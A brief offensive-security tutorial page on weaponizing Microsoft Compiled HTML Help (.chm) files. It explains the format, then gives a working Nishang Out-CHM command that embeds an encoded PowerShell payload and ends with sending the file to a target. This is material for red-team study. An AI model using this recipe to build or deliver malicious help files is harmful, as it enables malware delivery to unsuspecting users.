HTML Help Files

Theory

HTML Help File (.chm) is a file type created by Microsoft around 1997, for software documentation and user manuals. These files are consistent of HTML compressed pages that include indexes and content tables with hyperlinks to all pages. The interesting and dangerous part is that these hyperlinks can link to internal or external resources, which can be weaponized to download malicious scripts or executables.

The files are compressed and deployed in a binary format with the extension. CHM, for Compiled HTML. They can be viewed using the HTML Help program (hh.exe) that runs whenever a user clicks on a compiled CHM file.

Though Microsoft stopped supporting the .chm format around 2007, they are still can be opened in modern Windows versions

Practice

Nishang comes with a script called Out-CHM.ps1 that we can use to craft our malicious HTML Help File.

First, on a VM, download Microsoft HTML Help Workshop and Documentation. Then generate a malicious file as follow:

Import-Module .\Out-CHM.ps1
Out-CHM -payload "powershell -e JABz...." -HCCPATH "C:\Program Files (x86)\HTML Help Workshop"

Now we can send the file to our target !

Resources

Last updated